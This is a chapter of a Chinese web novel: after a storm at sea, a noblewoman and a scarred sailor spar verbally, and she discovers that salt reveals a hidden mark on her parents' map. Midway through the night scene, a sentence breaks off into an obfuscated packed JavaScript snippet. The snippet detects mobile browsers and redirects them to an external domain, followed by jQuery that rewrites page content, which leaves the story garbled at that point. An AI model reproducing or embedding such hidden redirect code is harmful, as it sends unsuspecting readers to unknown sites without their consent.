5. 潮汐初显

作品:《大小姐的航海训犬日志

    暴风雨的怒吼终于被海浪疲惫的叹息取代。


    诺尔尼斯号如同一头伤痕累累的巨兽,漂浮在渐渐平静却依旧灰暗的海面上。


    云层透出了几道缝隙,柔和的阳光从里面射向甲板。


    甲板此时一片狼藉,断裂的绳索,碎开的木桶,似乎都在说明着这暴风雨的猛烈。


    水手们就像从地狱爬回来的幽灵,他们的脸上混杂着疲惫、麻木和一丝侥幸。


    他们沉默地、机械地忙碌着:用能找到的一切东西加固破损的舱门,将散落的物资归拢,用木楔和浸透柏油的帆布紧急修补被巨浪撕裂的货舱口缝隙。


    船医汉森的小小医疗角挤满了人。


    “啊——汉森——你就不能给我弄点鸦片止止疼?”


    汉森正用酒精为一个水手清洗手臂上深可见骨的伤口,他咬牙切齿:“能别叫嚷了吗?东西全被海水冲走,你让我上哪儿给你止疼?有棉签酒精就不错了。”


    “可是——”


    “闭上你的臭嘴,再吵就把你扔进海里喂鲨鱼!”


    “你……!”


    那水手只能咬紧牙关,豆大的汗珠从额头滚落。


    船医的身后排满了受伤的水手,空气中弥漫着浓烈的血腥味和酒精刺鼻的气息。


    -


    相对安静的左舷一角,远离了主要的活动区域。


    江熠背靠着冰冷的船舱壁,坐在地上。


    他撕下一条相对干净的里衬布条,正皱着眉头,试图单手将布条缠绕在左小臂上一道不算深但皮肉翻卷的伤口上。


    血水混着海水,将深色的布料染成更深的暗红。


    他动作有些笨拙,牙关紧咬,额角渗出汗珠,显然牵扯到了其他在搏斗中拉伤的肌肉。


    即使这样,他依旧一声不吭。


    不远处,于霜蜷坐在一个翻倒的木桶旁。


    她脸色惨白如纸,嘴唇毫无血色,身体控制不住地微微颤抖。


    刚才那番搏命救援和生死预警似乎耗尽了她的最后一丝力气,剧烈的晕船反应在风暴平息后反而变本加厉地反扑上来。


    她抱着一个空木桶,刚刚才吐完最后一点胃里的东西,此刻只剩下痛苦的干呕和剧烈的喘息,整个人虚脱得仿佛一碰就会碎掉。


    两人之间隔着几步的距离,沉默如同重锤,沉重地压在湿漉漉的甲板上。


    只有海风呜咽着穿过破损的索具,发出单调的声响。


    江熠包扎的动作停顿了一下。


    他漆黑的眼眸无声而锐利地落在于霜身上,定格在她用来擦拭嘴角污渍和脸颊上不知何时划出的一道细小血痕的那块布条上——


    那布条边缘,依稀可见繁复精美的藤蔓与玫瑰刺绣,虽然被血污和海水浸染得模糊,却依然透露出它曾经的价值和不凡的出身。


    就在这时,于霜似乎也感觉到了那如有实质的目光。


    她喘息稍定,鎏金色的瞳孔抬起,迎上了江熠的视线。


    她的目光没有闪避,反而有一种近乎审视的锐利,落在了他正试图包扎的手臂上。


    那手臂肌肉线条流畅有力,但靠近手肘内侧,一道陈旧的、狰狞的暗红色鞭痕清晰可见,如同丑陋的蜈蚣盘踞在古铜色的皮肤上。


    那不是普通水手会留下的伤痕。


    沉默在无声的观察中被拉得更长,空气仿佛凝固。


    最终,是江熠打破了这令人窒息的寂静。


    他的声音低沉沙哑,带着搏斗后的疲惫和一丝不易察觉的别扭:“刚才……谢了。”


    没有她,这艘船和所有人,包括他自己,恐怕都已葬身海底。


    于霜扯了扯嘴角,牵动了脸上的细小伤口,带来一丝刺痛。


    她用布条轻轻地擦去脸上的污渍,背也慢慢挺直。


    “扯平了,贝利先生。”她抬眼,鎏金色的眸子直视着他,“你也没让我喂鲨鱼。”


    江熠的眉头几不可察地皱了一下。


    这句“扯平了”带着刺,也带着一种划清界限的冷漠。


    他喉头滚动了一下,似乎想说什么,但最终只是抿紧了薄唇,低头更加用力地拉扯着臂上的布条,仿佛那布条跟他有仇似的。


    于霜不再看他,她靠着冰冷的木桶,艰难地喘息了几口,似乎在积攒力气。


    然后,在江熠略带疑惑的目光注视下,她颤抖着、极其缓慢地从怀里——那件破烂绸裙内一个隐蔽的小口袋里——掏出了两样东西。


    一个是只有巴掌大小、镶嵌着贝壳的精致小圆镜。


    镜面上有几道裂痕,映出她苍白得吓人、沾着污迹的脸。


    另一件,是一个小巧的、用深色木头旋成的圆管。


    她拧开盖子,里面是半截凝固的、颜色深红近褐的东西——是手工制成的天然口红。


    江熠的眼神瞬间变得极其复杂,混合着难以置信和一丝荒谬的嘲弄。


    都什么时候了,她居然……在掏化妆品?


    就在这时,于霜似乎连拿稳镜子的力气都没有,小圆镜“啪嗒”一声掉落在湿漉漉的甲板上。


    她看都没看,只是费力地拧开口红盖子,用颤抖的手指,蘸取了一点那深红色的膏体。


    江熠看着她在虚脱中仍固执地试图将那抹颜色涂上苍白干裂的嘴唇,动作笨拙而费力,终于忍不住,抓起脚边一个半满的淡水袋,带着一丝粗暴的力道,“咚”地一声扔到她旁边的甲板上。


    “死要面子。”他的语气带着毫不掩饰的嘲讽。


    淡水袋滚到于霜手边。


    她涂抹的动作顿住了,可她没有立刻去捡水袋,反而抬起眼。


    那双鎏金色的眸子,因为虚弱而显得有些涣散。


    她盯着江熠,嘴角极其缓慢地向上扯出一个近乎偏执的微笑。


    她将指尖最后一点红色,用力、仔细地涂匀在苍白的下唇上。


    那抹深红在她惨白的脸上,如同伤口中涌出的新鲜血液,妩媚而刺眼。


    “这不是面子,贝利先生。”她的声音很轻,却像淬了冰的针,清晰地扎进江熠的耳中,“这是武器。”


    她停顿了一下,目光扫过他手臂上的旧鞭痕,又落回他脸上,笑容加深,带着一种疯狂的挑衅,“等你被海盗揍趴下的时候,我会踩着你的血——再补一遍妆。”


    江熠似是被气笑了,意外的平静。


    “那你就试试看。”


    于霜不再看他,靠在木桶边闭上了眼睛。


    深夜。


    船员们大多已精疲力竭地倒在相对干燥的角落沉沉睡去,鼾声和呻吟声此起彼伏。


    只有值夜的水手抱着武器,在破损的甲板上警惕地巡逻。


    于霜在房间里点燃了一小截残存的蜡烛,微弱的光晕勉强照亮她面前摊开的东西。


    她急切地抽出最外层那张牛皮纸,借着烛光仔细审视。


    然而,白天在阳光下清晰浮现的那道扭曲的幽蓝纹路——消失了。


    纸面上空空如也,仿佛那惊鸿一瞥只是她的幻觉。


    一股冰冷的失望瞬间攫住了她。


    难道潮汐标记是一次性的?还是需要特定的条件?


    不,父亲绝不会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221549|181538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    留下无用的线索。


    她不死心,指尖细细地抚过纸张的每一寸。


    触感粗糙……


    等等。


    在原本浮现蓝纹的位置,纸张的纹理似乎有极其细微的不同。


    不是图案,而是纸张本身似乎因为那蓝纹的出现,留下了几乎无法察觉的、极其细微的褶皱感,像是被无形的笔划过,纤维的走向发生了微妙的变化。


    一个大胆的念头瞬间闪过——


    海水,是海水让它显现的。


    那海水的关键成分是什么?


    盐!


    于霜的心跳骤然加速。


    反应过来后,她立马悄悄溜进了几乎废弃的、堆满杂物的小餐厅。


    她飞快地四下张望,目光锁定在角落里一个被打翻、洒出大半的盐罐上。


    她冲过去,小心翼翼地用手指捻起一小撮洁白的海盐颗粒。


    回到房间,于霜屏住呼吸,指尖沾着几粒细盐,极其轻柔地、沿着记忆中那道幽蓝纹路出现的路径,在牛皮纸的褶皱区域缓缓摩擦着。


    几秒钟后,奇迹发生了。


    在盐粒的细细涂抹下,幽蓝色的纹路渐渐地显露了出来。


    虽然比在阳光下时更淡、更不稳定,但它又确实存在。


    于霜的呼吸瞬间停滞,眼眸中爆发出狂喜与更深的探寻光芒。


    盐……是钥匙!


    她立刻停止动作,小心翼翼地将盐粒拂去。


    蓝纹随着盐分的消失,又缓缓隐没,只留下那几乎不可触的细微褶皱。


    原来线索并没有消失,它只是隐藏得更深了,需要特定的媒介才能显现。


    狂喜之后,巨大的疑问如同海潮般涌上于霜的心头。


    这道蓝纹指向哪里?


    它意味着什么?


    父母留下的线索……到底是什么?


    诺尔尼斯号伤痕累累,前路未卜。


    而一个关于“潮汐”的巨大秘密,正藏在这张古老的牛皮纸中,等待她去破解。


    她将纸筒紧紧按在胸口,仿佛能感受到那道蓝纹在黑暗中无声的呼唤。


    窗外的海面依旧漆黑,但她的眼底,已燃起了新的、更加执拗的火焰。


    于霜深吸一口气,从裙摆内衬一个隐蔽的暗袋里,摸索出一支短小的防水硬笔。


    她用牙齿咬住笔帽,侧头,用力一扯。


    “咔嗒”一声轻响,笔帽被咬开,露出乌黑的金属笔尖。


    就着摇曳昏黄的烛光,她颤抖着手,翻开自己的日志本。


    纸页湿软,吸饱了咸腥的海水气息,书写变得异常滞涩。


    她深吸一口气,强迫自己稳住手腕,让笔尖艰难地在潮湿的纸页上移动,留下深蓝近黑的墨迹。


    于霜简单描述了暴风雨中的危机,笔头在写到“贝利”两个字的时候蓦然停住,笔尖在纸上留下了一团深蓝近黑的墨迹晕染。


    贝利。


    她没来由地轻哼一声。


    傲慢又迂腐的东方男人,他手臂上丑陋的旧鞭痕,绝非普通水手所有。


    是个危险的变数。


    她必须利用他,也必须防备他。


    “盐是钥匙。海是谜面。而我,别无选择。——于霜”


    笔尖在最后一个字上顿住,于霜盯着这行字——缓缓合上日志本,将它紧紧贴在胸口。


    仿佛这样就能汲取到一丝力量,去对抗这无边的黑夜和深不可测的未来。


    窗外,海浪拍打着船身,发出单调而永恒的叹息。


    海面之下,必有答案。